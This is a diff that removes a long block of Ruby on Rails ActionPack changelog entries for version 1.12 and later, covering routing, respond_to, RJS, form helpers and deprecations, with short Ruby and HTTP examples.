-* render_text may optionally append to the response body. render_javascript appends by default. This allows you to chain multiple render :update calls by setting @performed_render = false between them (awaiting a better public API). [Jeremy Kemper]
-
-* Rename test assertion to prevent shadowing. Closes #6306. [psross]
-
-* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 [Philip Hallstrom]
-
-* Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 [evansj]
-
-* Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 [tzaharia]. Example:
-
- update_page_tag :defer => 'true' { |page| ... }
-
- Gives:
-
- <script defer="true" type="text/javascript">...</script>
-
- Which is needed for dealing with the IE6 DOM when it's not yet fully loaded.
-
-* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 [Mike Naberezny]
-
-* Fixed escaping of backslashes in JavaScriptHelper#escape_javascript #6302 [sven@c3d2.de]
-
-* Fixed that some 500 rescues would cause 500's themselves because the response had not yet been generated #6329 [cmselmer]
-
-* respond_to :html doesn't assume .rhtml. #6281 [Hampton Catlin]
-
-* Fixed some deprecation warnings in ActionPack [Rick Olson]
-
-* assert_select_rjs decodes escaped unicode chars since the Javascript generators encode them. #6240 [japgolly]
-
-* Deprecation: @cookies, @headers, @request, @response will be removed after 1.2. Use the corresponding method instead. [Jeremy Kemper]
-
-* Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. [Jamis Buck]. Examples:
-
- head :status => 404 # expands to "404 Not Found"
- head :status => :not_found # expands to "404 Not Found"
- head :status => :created # expands to "201 Created"
-
-* Add head(options = {}) for responses that have no body. [Jamis Buck]. Examples:
-
- head :status => 404 # return an empty response with a 404 status
- head :location => person_path(@person), :status => 201
-
-* Fix bug that kept any before_filter except the first one from being able to halt the before_filter chain. [Rick Olson]
-
-* strip_links is case-insensitive. #6285 [tagoh, Bob Silva]
-
-* Clear the cache of possible controllers whenever Routes are reloaded. [Nicholas Seckar]
-
-* Filters overhaul including meantime filter support using around filters + blocks. #5949 [Martin Emde, Roman Le Negrate, Stefan Kaes, Jeremy Kemper]
-
-* Update CGI process to allow sessions to contain namespaced models. Closes #4638. [dfelstead@site5.com]
-
-* Fix routing to respect user provided requirements and defaults when assigning default routing options (such as :action => 'index'). Closes #5950. [Nicholas Seckar]
-
-* Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability. #3368, #6226 [sdsykes, fhanshaw@vesaria.com]
-
-* Added that respond_to blocks will automatically set the content type to be the same as is requested [David Heinemeier Hansson]. Examples:
-
- respond_to do |format|
- format.html { render :text => "I'm being sent as text/html" }
- format.rss { render :text => "I'm being sent as application/rss+xml" }
- format.atom { render :text => "I'm being sent as application/xml", :content_type => Mime::XML }
- end
-
-* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) [David Heinemeier Hansson]
-
-* Added proper getters and setters for content type and charset [David Heinemeier Hansson]. Example of what we used to do:
-
- response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
-
- ...now:
-
- response.content_type = Mime::ATOM
- response.charset = "utf-8"
-
-* Declare file extensions exempt from layouts. #6219 [brandon]
- Example: ActionController::Base.exempt_from_layout 'rpdf'
-
-* Add chained replace/update support for assert_select_rjs [Rick Olson]
-
- Given RJS like...
-
- page['test1'].replace "<div id=\"1\">foo</div>"
- page['test2'].replace_html "<div id=\"2\">foo</div>"
-
- Test it with...
-
- assert_select_rjs :chained_replace
- assert_select_rjs :chained_replace, "test1"
-
- assert_select_rjs :chained_replace_html
- assert_select_rjs :chained_replace_html, "test2"
-
-* Load helpers in alphabetical order for consistency. Resolve cyclic javascript_helper dependency. #6132, #6178 [choonkeat@gmail.com]
-
-* Skip params with empty names, such as the &=Save query string from <input type="submit"/>. #2569 [Manfred Stienstra, raphinou@yahoo.com]
-
-* Fix assert_tag so that :content => "foo" does not match substrings, but only exact strings. Use :content => /foo/ to match substrings. #2799 [Eric Hodel]
-
-* Update JavaScriptGenerator#show/hide/toggle/remove to new Prototype syntax for multiple ids, #6068 [petermichaux@gmail.com]
-
-* Update UrlWriter to support :only_path. [Nicholas Seckar, Dave Thomas]
-
-* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [David Heinemeier Hansson]. So what used to require a nil, like this:
-
- link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
-
- ...can be written like this:
-
- link_to("Hider", :class => "hider_link") { |p| p[:something].hide }
-
-* Added access to nested attributes in RJS #4548 [richcollins@gmail.com]. Examples:
-
- page['foo']['style'] # => $('foo').style;
- page['foo']['style']['color'] # => $('blank_slate').style.color;
- page['foo']['style']['color'] = 'red' # => $('blank_slate').style.color = 'red';
- page['foo']['style'].color = 'red' # => $('blank_slate').style.color = 'red';
-
-* Fixed that AssetTagHelper#image_tag and others using compute_public_path should not modify the incoming source argument (closes #5102) [eule@space.ch]
-
-* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension [David Heinemeier Hansson]
-
-* Fixed FormOptionsHelper#select to respect :selected value #5813
-
-* Fixed TextHelper#simple_format to deal with multiple single returns within a single paragraph #5835 [moriq@moriq.com]
-
-* Fixed TextHelper#pluralize to handle 1 as a string #5909 [rails@bencurtis.com]
-
-* Improved resolution of DateHelper#distance_of_time_in_words for better precision #5994 [Bob Silva]
-
-* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" [David Heinemeier Hansson]
-
-* Added deprecation language for pagination which will become a plugin by Rails 2.0 [David Heinemeier Hansson]
-
-* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 [David Heinemeier Hansson]
-
-* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support [David Heinemeier Hansson]
-
-* Added assert_select* for CSS selector-based testing (deprecates assert_tag) #5936 [assaf.arkin@gmail.com]
-
-* radio_button_tag generates unique id attributes. #3353 [Bob Silva, somekool@gmail.com]
-
-* strip_tags passes through blank args such as nil or "". #2229, #6702 [duncan@whomwah.com, dharana]
-
-* Cleanup assert_tag :children counting. #2181 [jamie@bravenet.com]
-
-* button_to accepts :method so you can PUT and DELETE with it. #6005 [Dan Webb]
-
-* Update sanitize text helper to strip plaintext tags, and <img src="javascript:bang">. [Rick Olson]
-
-* Add routing tests to assert that RoutingError is raised when conditions aren't met. Closes #6016 [Nathan Witmer]
-
-* Make auto_link parse a greater subset of valid url formats. [Jamis Buck]
-
-* Integration tests: headers beginning with X aren't excluded from the HTTP_ prefix, so X-Requested-With becomes HTTP_X_REQUESTED_WITH as expected. [Mike Clark]
-
-* Switch to using FormEncodedPairParser for parsing request parameters. [Nicholas Seckar, David Heinemeier Hansson]
-
-* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. [Tobias Lütke]
-
-* Deprecation: test deprecated instance vars in partials. [Jeremy Kemper]
-
-* Add UrlWriter to allow writing urls from Mailers and scripts. [Nicholas Seckar]
-
-* Relax Routing's anchor pattern warning; it was preventing use of [^/] inside restrictions. [Nicholas Seckar]
-
-* Add controller_paths variable to Routing. [Nicholas Seckar]
-
-* Fix assert_redirected_to issue with named routes for module controllers. [Rick Olson]
-
-* Tweak RoutingError message to show option diffs, not just missing named route significant keys. [Rick Olson]
-
-* Invoke method_missing directly on hidden actions. Closes #3030. [Nicholas Seckar]
-
-* Add RoutingError exception when RouteSet fails to generate a path from a Named Route. [Rick Olson]
-
-* Replace Reloadable with Reloadable::Deprecated. [Nicholas Seckar]
-
-* Deprecation: check whether instance variables have been monkeyed with before assigning them to deprecation proxies. Raises a RuntimeError if so. [Jeremy Kemper]
-
-* Add support for the param_name parameter to the auto_complete_field helper. #5026 [david.a.williams@gmail.com]
-
-* Deprecation! @params, @session, @flash will be removed after 1.2. Use the corresponding instance methods instead. You'll get printed warnings during tests and logged warnings in dev mode when you access either instance variable directly. [Jeremy Kemper]
-
-* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 [François Beausoleil]
-
-* Added months and years to the resolution of DateHelper#distance_of_time_in_words, such that "60 days ago" becomes "2 months ago" #5611 [pjhyett@gmail.com]
-
-* Make controller_path available as an instance method. #5724 [jmckible@gmail.com]
-
-* Update query parser to support adjacent hashes. [Nicholas Seckar]
-
-* Make action caching aware of different formats for the same action so that, e.g. foo.xml is cached separately from foo.html. Implicitly set content type when reading in cached content with mime revealing extensions so the entire onous isn't on the webserver. [Marcel Molina Jr.]
-
-* Restrict Request Method hacking with ?_method to POST requests. [Rick Olson]
-
-* Fixed the new_#{resource}_url route and added named route tests for Simply Restful. [Rick Olson]
-
-* Added map.resources from the Simply Restful plugin [David Heinemeier Hansson]. Examples (the API has changed to use plurals!):
-
- map.resources :messages
- map.resources :messages, :comments
- map.resources :messages, :new => { :preview => :post }
-
-* Fixed that integration simulation of XHRs should set Accept header as well [Edward Frederick]
-
-* TestRequest#reset_session should restore a TestSession, not a hash [Michael Koziarski]
-
-* Don't search a load-path of '.' for controller files [Jamis Buck]
-
-* Update integration.rb to require test_process explicitly instead of via Dependencies. [Nicholas Seckar]
-
-* Fixed that you can still access the flash after the flash has been reset in reset_session. Closes #5584 [lmarlow]
-
-* Allow form_for and fields_for to work with indexed form inputs. [Jeremy Kemper, Matt Lyon]
-
- <% form_for 'post[]', @post do |f| -%>
- <% end -%>
-
-* Remove leak in development mode by replacing define_method with module_eval. [Nicholas Seckar]
-
-* Provide support for decimal columns to form helpers. Closes #5672. [Dave Thomas]
-
-* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 [olivier_ansaldi@yahoo.com]
-
-* Reset @html_document between requests so assert_tag works. #4810 [Jarkko Laine, easleydp@gmail.com]
-
-* Integration tests behave well with render_component. #4632 [edward.frederick@revolution.com, dev.rubyonrails@maxdunn.com]
-
-* Added exception handling of missing layouts #5373 [chris@ozmm.org]
-
-* Fixed that real files and symlinks should be treated the same when compiling templates #5438 [zachary@panandscan.com]
-
-* Fixed that the flash should be reset when reset_session is called #5584 [Shugo Maeda]
-
-* Added special case for "1 Byte" in NumberHelper#number_to_human_size #5593 [murpyh@rubychan.de]
-
-* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) [David Heinemeier Hansson]
-
-* Add route_name_path method to generate only the path for a named routes. For example, map.person will add person_path. [Nicholas Seckar]
-
-* Avoid naming collision among compiled view methods. [Jeremy Kemper]
-
-* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 [Mislav Marohnić]
-
-* Determine the correct template_root for deeply nested components. #2841 [s.brink@web.de]
-
-* Fix that routes with *path segments in the recall can generate URLs. [Rick Olson]
-
-* Fix strip_links so that it doesn't hang on multiline <acronym> tags [Jamis Buck]
-
-* Remove problematic control chars in rescue template. #5316 [Stefan Kaes]
-
-* Make sure passed routing options are not mutated by routing code. #5314 [Blair Zajac]
-
-* Make sure changing the controller from foo/bar to bing/bang does not change relative to foo. [Jamis Buck]
-
-* Escape the path before routing recognition. #3671
-
-* Make sure :id and friends are unescaped properly. #5275 [me@julik.nl]
-
-* Rewind readable CGI params so others may reread them (such as CGI::Session when passing the session id in a multipart form). #210 [mklame@atxeu.com, matthew@walker.wattle.id.au]
-
-* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types [David Heinemeier Hansson]
-
-* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [David Heinemeier Hansson]. Example: Mime::Type.register("image/gif", :gif)
-
-* Added support for Mime objects in render :content_type option [David Heinemeier Hansson]. Example: render :text => some_atom, :content_type => Mime::ATOM
-
-* Add :status option to send_data and send_file. Defaults to '200 OK'. #5243 [Manfred Stienstra <m.stienstra@fngtps.com>]
-
-* Routing rewrite. Simpler, faster, easier to understand. The published API for config/routes.rb is unchanged, but nearly everything else is different, so expect breakage in plugins and libs that try to fiddle with routes. [Nicholas Seckar, Jamis Buck]
-
- map.connect '/foo/:id', :controller => '...', :action => '...'
- map.connect '/foo/:id.:format', :controller => '...', :action => '...'
- map.connect '/foo/:id', ..., :conditions => { :method => :get }
-
-* Cope with missing content type and length headers. Parse parameters from multipart and urlencoded request bodies only. [Jeremy Kemper]
-
-* Accept multipart PUT parameters. #5235 [guy.naor@famundo.com]
-
-* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [David Heinemeier Hansson]. Example:
-
- class WeblogController < ActionController::Base
- def index
- @posts = Post.find :all
-
- respond_to do |format|
- format.html
- format.xml { render :xml => @posts.to_xml }
- format.rss { render :action => "feed.rxml" }
- end
- end
- end
-
- # returns HTML when requested by a browser, since the browser
- # has the HTML mimetype at the top of its priority list
- Accept: text/html
- GET /weblog
-
- # returns the XML
- Accept: application/xml
- GET /weblog
-
- # returns the HTML
- Accept: application/xml
- GET /weblog.html
-
- # returns the XML
- Accept: text/html
- GET /weblog.xml
-
- All this relies on the fact that you have a route that includes .:format.
-
-* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post [David Heinemeier Hansson]
-
-* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete [David Heinemeier Hansson]
-
-* follow_redirect doesn't complain about being redirected to the same controller. #5153 [dymo@mk.ukrtelecom.ua]
-
-* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. [Kevin Clark]
-
-* Fix NoMethodError when parsing params like &&. [Adam Greenfield]
-
-* form.text_area handles the :size option just like the original text_area (:size => '60x10' becomes cols="60" rows="10"). [Jeremy Kemper]
-
-* Excise ingrown code from FormOptionsHelper#options_for_select. #5008 [anonymous]
-
-* Small fix in routing to allow dynamic routes (broken after [4242]) [Rick Olson]
-
- map.connect '*path', :controller => 'files', :action => 'show'
-
-* Use #flush between switching from #write to #syswrite. Closes #4907. [Blair Zajac <blair@orcaware.com>]
-
-* Allow error_messages_for to report errors for multiple objects, as well as support for customizing the name of the object in the error summary header. Closes #4186. [andrew@redlinesoftware.com, Marcel Molina Jr.]
-
- error_messages_for :account, :user, :subscription, :object_name => :account
-
-* Fix assert_redirected_to tests according to real-world usage. Also, don't fail if you add an extra :controller option: [Rick Olson]
-
- redirect_to :action => 'new'
- assert_redirected_to :controller => 'monkeys', :action => 'new'
-
-* Diff compared routing options. Allow #assert_recognizes to take a second arg as a hash to specify optional request method [Rick Olson]
-
- assert_recognizes({:controller => 'users', :action => 'index'}, 'users')
- assert_recognizes({:controller => 'users', :action => 'create'}, {:path => 'users', :method => :post})
-
-* Diff compared options with #assert_redirected_to [Rick Olson]
-
-* Add support in routes for semicolon delimited "subpaths", like /books/:id;:action [Jamis Buck]
-
-* Change link_to_function and button_to_function to (optionally) take an update_page block instead of a JavaScript string. Closes #4804. [zraii@comcast.net, Sam Stephenson]
-
-* Modify routing so that you can say :require => { :method => :post } for a route, and the route will never be selected unless the request method is POST. Only works for route recognition, not for route generation. [Jamis Buck]
-
-* Added :add_headers option to verify which merges a hash of name/value pairs into the response's headers hash if the prerequisites cannot be satisfied. [Sam Stephenson]
- ex. verify :only => :speak, :method => :post,
- :render => { :status => 405, :text => "Must be post" },
- :add_headers => { "Allow" => "POST" }
-
-
-*1.12.5* (August 10th, 2006)
-
-* Updated security fix
-
-
-*1.12.4* (August 8th, 2006)
-
-* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. [Rick Olson]
-
-* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for [David Heinemeier Hansson]
-
-* Added ActionController.filter_parameter_logging that makes it easy to remove passwords, credit card numbers, and other sensitive information from being logged when a request is handled. #1897 [jeremye@bsa.ca.gov]
-
-* Fixed that real files and symlinks should be treated the same when compiling templates. #5438 [zachary@panandscan.com]
-
-* Add :status option to send_data and send_file. Defaults to '200 OK'. #5243 [Manfred Stienstra <m.stienstra@fngtps.com>]
-
-* Update documentation for erb trim syntax. #5651 [matt@mattmargolis.net]
-
-* Short documentation to mention use of Mime::Type.register. #5710 [choonkeat@gmail.com]
-
-
-*1.12.3* (June 28th, 2006)
-
-* Fix broken traverse_to_controller. We now:
- Look for a _controller.rb file under RAILS_ROOT to load.
- If we find it, we require_dependency it and return the controller it defined. (If none was defined we stop looking.)
- If we don't find it, we look for a .rb file under RAILS_ROOT to load. If we find it, and it loads a constant we keep looking.
- Otherwise we check to see if a directory of the same name exists, and if it does we create a module for it.
-
-
-*1.12.2* (June 27th, 2006)
-
-* Refinement to avoid exceptions in traverse_to_controller.
-
-* (Hackish) Fix loading of arbitrary files in Ruby's load path by traverse_to_controller. [Nicholas Seckar]
-
-
-*1.12.1* (April 6th, 2006)
-
-* Fixed that template extensions would be cached development mode #4624 [Stefan Kaes]
-
-* Update to Prototype 1.5.0_rc0 [Sam Stephenson]
-
-* Honor skipping filters conditionally for only certain actions even when the parent class sets that filter to conditionally be executed only for the same actions. #4522 [Marcel Molina Jr.]
-
-* Delegate xml_http_request in integration tests to the session instance. [Jamis Buck]
-
-* Update the diagnostics template skip the useless '<controller not set>' text. [Nicholas Seckar]
-
-* CHANGED DEFAULT: Don't parse YAML input by default, but keep it available as an easy option [David Heinemeier Hansson]
-
-* Add additional autocompleter options [aballai, Thomas Fuchs]
-
-* Fixed fragment caching of binary data on Windows #4493 [bellis@deepthought.org]
-
-* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us [Sam Stephenson, Thomas Fuchs]
-
-* Added automated timestamping to AssetTagHelper methods for stylesheets, javascripts, and images when Action Controller is run under Rails [David Heinemeier Hansson]. Example:
-
- image_tag("rails.png") # => '<img alt="Rails" src="/images/rails.png?1143664135" />'
-
- ...to avoid frequent stats (not a problem for most people), you can set RAILS_ASSET_ID in the ENV to avoid stats:
-
- ENV["RAILS_ASSET_ID"] = "2345"
- image_tag("rails.png") # => '<img alt="Rails" src="/images/rails.png?2345" />'
-
- This can be used by deployment managers to set the asset id by application revision
-
-
-*1.12.0* (March 27th, 2006)
-
-* Add documentation for respond_to. [Jamis Buck]
-
-* Fixed require of bluecloth and redcloth when gems haven't been loaded #4446 [murphy@cYcnus.de]
-
-* Update to Prototype 1.5.0_pre1 [Sam Stephenson]
-
-* Change #form_for and #fields_for so that the second argument is not required [Dave Thomas]
-
- <% form_for :post, @post, :url => { :action => 'create' } do |f| -%>
-
- becomes...
-
- <% form_for :post, :url => { :action => 'create' } do |f| -%>
-
-* Update to script.aculo.us 1.6 [Thomas Fuchs]
-
-* Enable application/x-yaml processing by default [Jamis Buck]
-
-* Fix double url escaping of remote_function. Add :escape => false option to ActionView's url_for. [Nicholas Seckar]
-
-* Add :script option to in_place_editor to support evalScripts (closes #4194) [Cody Fauser]
-
-* Fix mixed case enumerable methods in the JavaScript Collection Proxy (closes #4314) [Cody Fauser]
-
-* Undo accidental escaping for mail_to; add regression test. [Nicholas Seckar]
-
-* Added nicer message for assert_redirected_to (closes #4294) [court3nay]
-
- assert_redirected_to :action => 'other_host', :only_path => false
-
- when it was expecting...
-
- redirected_to :action => 'other_host', :only_path => true, :host => 'other.test.host'
-
- gives the error message...
-
- response is not a redirection to all of the options supplied (redirection is <{:only_path=>false, :host=>"other.test.host", :action=>"other_host"}>), difference: <{:only_path=>"true", :host=>"other.test.host"}>
-
-* Change url_for to escape the resulting URLs when called from a view. [Nicholas Seckar, coffee2code]
-
-* Added easy support for testing file uploads with fixture_file_upload #4105 [turnip@turnipspatch.com]. Example:
-
- # Looks in Test::Unit::TestCase.fixture_path + '/files/spongebob.png'
- post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png')
-
-* Fixed UrlHelper#current_page? to behave even when url-escaped entities are present #3929 [jeremy@planetargon.com]
-
-* Add ability for relative_url_root to be specified via an environment variable RAILS_RELATIVE_URL_ROOT. [isaac@reuben.com, Nicholas Seckar]
-
-* Fixed link_to "somewhere", :post => true to produce valid XHTML by using the parentnode instead of document.body for the instant form #3007 [Bob Silva]
-
-* Added :function option to PrototypeHelper#observe_field/observe_form that allows you to call a function instead of submitting an ajax call as the trigger #4268 [jonathan@daikini.com]
-
-* Make Mime::Type.parse consider q values (if any) [Jamis Buck]
-
-* XML-formatted requests are typecast according to "type" attributes for :xml_simple [Jamis Buck]
-
-* Added protection against proxy setups treating requests as local even when they're not #3898 [Steve Purcell]
-
-* Added TestRequest#raw_post that simulate raw_post from CgiRequest #3042 [François Beausoleil]
-
-* Underscore dasherized keys in formatted requests [Jamis Buck]
-
-* Add MimeResponds::Responder#any for managing multiple types with identical responses [Jamis Buck]
-
-* Make the xml_http_request testing method set the HTTP_ACCEPT header [Jamis Buck]
-
-* Add Verification to scaffolds. Prevent destructive actions using GET [Michael Koziarski]
-
-* Avoid hitting the filesystem when using layouts by using a File.directory? cache. [Stefan Kaes, Nicholas Seckar]
-
-* Simplify ActionController::Base#controller_path [Nicholas Seckar]
-
-* Added simple alert() notifications for RJS exceptions when config.action_view.debug_rjs = true. [Sam Stephenson]
-
-* Added :content_type option to render, so you can change the content type on the fly [David Heinemeier Hansson]. Example: render :action => "atom.rxml", :content_type => "application/atom+xml"
-
-* CHANGED DEFAULT: The default content type for .rxml is now application/xml instead of type/xml, see http://www.xml.com/pub/a/2004/07/21/dive.html for reason [David Heinemeier Hansson]
-
-* Added option to render action/template/file of a specific extension (and here by template type). This means you can have multiple templates with the same name but a different extension [David Heinemeier Hansson]. Example:
-
- class WeblogController < ActionController::Base
- def index
- @posts = Post.find :all
-
- respond_to do |type|
- type.html # using defaults, which will render weblog/index.rhtml
- type.xml { render :action => "index.rxml" }
- type.js { render :action => "index.rjs" }
- end
- end
- end
-
-* Added better support for using the same actions to output for different sources depending on the Accept header [David Heinemeier Hansson]. Example:
-
- class WeblogController < ActionController::Base
- def create
- @post = Post.create(params[:post])
-
- respond_to do |type|
- type.js { render } # renders create.rjs
- type.html { redirect_to :action => "index" }
- type.xml do
- headers["Location"] = url_for(:action => "show", :id => @post)
- render(:nothing, :status => "201 Created")
- end
- end
- end
- end
-
-* Added Base#render(:xml => xml) that works just like Base#render(:text => text), but sets the content-type to text/xml and the charset to UTF-8 [David Heinemeier Hansson]
-
-* Integration test's url_for now runs in the context of the last request (if any) so after post /products/show/1 url_for :action => 'new' will yield /product/new [Tobias Lütke]
-
-* Re-added mixed-in helper methods for the JavascriptGenerator. Moved JavascriptGenerators methods to a module that is mixed in after the helpers are added. Also fixed that variables set in the enumeration methods like #collect are set correctly. Documentation added for the enumeration methods [Rick Olson]. Examples:
-
- page.select('#items li').collect('items') do |element|
- element.hide
- end
- # => var items = $$('#items li').collect(function(value, index) { return value.hide(); });
-
-* Added plugin support for parameter parsers, which allows for better support for REST web services. By default, posts submitted with the application/xml content type is handled by creating a XmlSimple hash with the same name as the root element of the submitted xml. More handlers can easily be registered like this:
-
- # Assign a new param parser to a new content type
- ActionController::Base.param_parsers['application/atom+xml'] = Proc.new do |data|
- node = REXML::Document.new(post)
- { node.root.name => node.root }
- end
-
- # Assign the default XmlSimple to a new content type
- ActionController::Base.param_parsers['application/backpack+xml'] = :xml_simple
-
-Default YAML web services were retired, ActionController::Base.param_parsers carries an example which shows how to get this functionality back. As part of this new plugin support, request.[formatted_post?, xml_post?, yaml_post? and post_format] were all deprecated in favor of request.content_type [Tobias Lütke]
-
-* Fixed Effect.Appear in effects.js to work with floats in Safari #3524, #3813, #3044 [Thomas Fuchs]
-
-* Fixed that default image extension was not appended when using a full URL with AssetTagHelper#image_tag #4032, #3728 [rubyonrails@beautifulpixel.com]
-
-* Added that page caching will only happen if the response code is less than 400 #4033 [g.bucher@teti.ch]
-
-* Add ActionController::IntegrationTest to allow high-level testing of the way the controllers and routes all work together [Jamis Buck]
-
-* Added support to AssetTagHelper#javascript_include_tag for having :defaults appear anywhere in the list, so you can now make one call ala javascript_include_tag(:defaults, "my_scripts") or javascript_include_tag("my_scripts", :defaults) depending on how you want the load order #3506 [Bob Silva]
-
-* Added support for visual effects scoped queues to the visual_effect helper #3530 [Abdur-Rahman Advany]
-
-* Added .rxml (and any non-rhtml template, really) supportfor CaptureHelper#content_for and CaptureHelper#capture #3287 [Brian Takita]
-
-* Added script.aculo.us drag and drop helpers to RJS [Thomas Fuchs]. Examples:
-
- page.draggable 'product-1'
- page.drop_receiving 'wastebasket', :url => { :action => 'delete' }
- page.sortable 'todolist', :url => { action => 'change_order' }
-
-* Fixed that form elements would strip the trailing [] from the first parameter #3545 [ruby@bobsilva.com]
-
-* During controller resolution, update the NameError suppression to check for the expected constant. [Nicholas Seckar]
-
-* Update script.aculo.us to V1.5.3 [Thomas Fuchs]
-
-* Added various InPlaceEditor options, #3746, #3891, #3896, #3906 [Bill Burcham, ruairi, sl33p3r]
-
-* Added :count option to pagination that'll make it possible for the ActiveRecord::Base.count call to using something else than * for the count. Especially important for count queries using DISTINCT #3839 [Stefan Kaes]
-
-* Update script.aculo.us to V1.5.2 [Thomas Fuchs]
-
-* Added element and collection proxies to RJS [David Heinemeier Hansson]. Examples:
-
- page['blank_slate'] # => $('blank_slate');
- page['blank_slate'].show # => $('blank_slate').show();
- page['blank_slate'].show('first').up # => $('blank_slate').show('first').up();
-
- page.select('p') # => $$('p');
- page.select('p.welcome b').first # => $$('p.welcome b').first();
- page.select('p.welcome b').first.hide # => $$('p.welcome b').first().hide();
-
-* Add JavaScriptGenerator#replace for replacing an element's "outer HTML". #3246 [tom@craz8.com, Sam Stephenson]
-
-* Remove over-engineered form_for code for a leaner implementation. [Nicholas Seckar]
-
-* Document form_for's :html option. [Nicholas Seckar]
-
-* Major components cleanup and speedup. #3527 [Stefan Kaes]
-
-* Fix problems with pagination and :include. [Kevin Clark]
-
-* Add ActiveRecordTestCase for testing AR integration. [Kevin Clark]
-
-* Add Unit Tests for pagination [Kevin Clark]
-
-* Add :html option for specifying form tag options in form_for. [Sam Stephenson]
-
-* Replace dubious controller parent class in filter docs. #3655, #3722 [info@rhalff.com, eigentone@gmail.com]
-
-* Don't interpret the :value option on text_area as an html attribute. Set the text_area's value. #3752 [gabriel@gironda.org]
-
-* Fix remote_form_for creates a non-ajax form. [Rick Olson]
-
-* Don't let arbitrary classes match as controllers -- a potentially dangerous bug. [Nicholas Seckar]
-
-* Fix Routing tests. Fix routing where failing to match a controller would prevent the rest of routes from being attempted. [Nicholas Seckar]
-
-* Add :builder => option to form_for and friends. [Nicholas Seckar, Rick Olson]
-
-* Fix controller resolution to avoid accidentally inheriting a controller from a parent module. [Nicholas Seckar]
-
-* Set sweeper's @controller to nil after a request so that the controller may be collected between requests. [Nicholas Seckar]
-
-* Subclasses of ActionController::Caching::Sweeper should be Reloadable. [Rick Olson]
-
-* Document the :xhr option for verifications. #3666 [leeo]
-
-* Added :only and :except controls to skip_before/after_filter just like for when you add filters [David Heinemeier Hansson]
-
-* Ensure that the instance variables are copied to the template when performing render :update. [Nicholas Seckar]
-
-* Add the ability to call JavaScriptGenerator methods from helpers called in update blocks. [Sam Stephenson] Example:
- module ApplicationHelper
- def update_time
- page.replace_html 'time', Time.now.to_s(:db)
- page.visual_effect :highlight, 'time'
- end
- end
-
- class UserController < ApplicationController
- def poll
- render :update { |page| page.update_time }
- end
- end
-
-* Add render(:update) to ActionView::Base. [Sam Stephenson]
-
-* Fix render(:update) to not render layouts. [Sam Stephenson]
-
-* Fixed that SSL would not correctly be detected when running lighttpd/fcgi behind lighttpd w/mod_proxy #3548 [Steve Purcell]
-
-* Added the possibility to specify atomatic expiration for the memcachd session container #3571 [Stefan Kaes]
-
-* Change layout discovery to take into account the change in semantics with File.join and nil arguments. [Marcel Molina Jr.]
-
-* Raise a RedirectBackError if redirect_to :back is called when there's no HTTP_REFERER defined #3049 [Kevin Clark]
-
-* Treat timestamps like datetimes for scaffolding purposes #3388 [Maik Schmidt]
-
-* Fix IE bug with link_to "something", :post => true #3443 [Justin Palmer]
-
-* Extract Test::Unit::TestCase test process behavior into an ActionController::TestProcess module. [Sam Stephenson]
-
-* Pass along blocks from render_to_string to render. [Sam Stephenson]
-
-* Add render :update for inline RJS. [Sam Stephenson] Example:
- class UserController < ApplicationController
- def refresh
- render :update do |page|
- page.replace_html 'user_list', :partial => 'user', :collection => @users
- page.visual_effect :highlight, 'user_list'
- end
- end
- end
-
-* allow nil objects for error_messages_for [Michael Koziarski]
-
-* Refactor human_size to exclude decimal place if it is zero. [Marcel Molina Jr.]
-
-* Update to Prototype 1.5.0_pre0 [Sam Stephenson]
-
-* Automatically discover layouts when a controller is namespaced. #2199, #3424 [me@jonnii.com rails@jeffcole.net Marcel Molina Jr.]
-
-* Add support for multiple proxy servers to CgiRequest#host [gaetanot@comcast.net]
-
-* Documentation typo fix. #2367 [Blair Zajac]
-
-* Remove Upload Progress. #2871 [Sean Treadway]
-
-* Fix typo in function name mapping in auto_complete_field. #2929 #3446 [doppler@gmail.com phil.ross@gmail.com]
-
-* Allow auto-discovery of third party template library layouts. [Marcel Molina Jr.]
-
-* Have the form builder output radio button, not check box, when calling the radio button helper. #3331 [LouisStAmour@gmail.com]
-
-* Added assignment of the Autocompleter object created by JavaScriptMacroHelper#auto_complete_field to a local javascript variables [David Heinemeier Hansson]
-
-* Added :on option for PrototypeHelper#observe_field that allows you to specify a different callback hook to have the observer trigger on [David Heinemeier Hansson]
-
-* Added JavaScriptHelper#button_to_function that works just like JavaScriptHelper#link_to_function but uses a button instead of a href [David Heinemeier Hansson]
-
